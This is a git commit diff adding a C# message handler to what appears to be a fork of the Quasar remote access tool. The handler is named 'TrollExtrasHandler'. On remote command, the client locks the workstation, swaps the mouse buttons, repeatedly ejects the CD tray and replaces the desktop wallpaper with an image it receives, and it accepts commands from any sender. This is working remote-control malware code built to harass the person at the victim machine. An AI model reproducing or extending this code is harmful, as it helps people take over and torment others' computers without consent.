initial commit

2026-08-27 11:22:16 -06:00
commit 96afff7a83
600 changed files with 29291 additions and 0 deletions
@@ -0,0 +1,75 @@
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+using System;
+using System.IO;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Threading;
+
+namespace Quasar.Client.Messages
+{
+    public class TrollExtrasHandler : IMessageProcessor
+    {
+        [DllImport("user32.dll")] private static extern bool LockWorkStation();
+        [DllImport("user32.dll")] private static extern bool SwapMouseButton(bool fSwap);
+        [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi)]
+        private static extern int mciSendString(string command, StringBuilder ret, int len, IntPtr callback);
+        [DllImport("user32.dll", CharSet = CharSet.Auto)]
+        private static extern int SystemParametersInfo(uint uAction, uint uParam, string lpvParam, uint fuWinIni);
+        private const uint SPI_SETDESKWALLPAPER = 0x0014;
+        private const uint SPIF_UPDATEINIFILE   = 0x0001;
+        private const uint SPIF_SENDCHANGE      = 0x0002;
+
+        public bool CanExecute(IMessage message) =>
+            message is DoLockScreen  ||
+            message is DoCdTray      ||
+            message is DoMouseSwap   ||
+            message is DoSetWallpaper;
+
+        public bool CanExecuteFrom(ISender sender) => true;
+
+        public void Execute(ISender sender, IMessage message)
+        {
+            switch (message)
+            {
+                case DoLockScreen _:   LockWorkStation(); break;
+                case DoCdTray m:       new Thread(() => SpamCdTray(m.Count)) { IsBackground = true }.Start(); break;
+                case DoMouseSwap m:    SwapMouseButton(m.Swap); break;
+                case DoSetWallpaper m: new Thread(() => ApplyWallpaper(m.ImageData)) { IsBackground = true }.Start(); break;
+            }
+        }
+
+        // ── Wallpaper ─────────────────────────────────────────────────────────
+
+        private void ApplyWallpaper(byte[] data)
+        {
+            if (data == null || data.Length == 0) return;
+            try
+            {
+                // Must be a BMP file on disk — SystemParametersInfo doesn't accept raw bytes.
+                string path = Path.Combine(Path.GetTempPath(), "wp_" + Guid.NewGuid().ToString("N") + ".bmp");
+                using (var ms = new MemoryStream(data))
+                using (var img = System.Drawing.Image.FromStream(ms))
+                    img.Save(path, System.Drawing.Imaging.ImageFormat.Bmp);
+
+                SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
+            }
+            catch { }
+        }
+
+        // ── CD tray spam ──────────────────────────────────────────────────────
+
+        private static void SpamCdTray(int count)
+        {
+            count = Math.Max(1, Math.Min(count, 20));
+            for (int i = 0; i < count; i++)
+            {
+                mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
+                Thread.Sleep(700);
+                mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero);
+                Thread.Sleep(700);
+            }
+        }
+
+    }
+}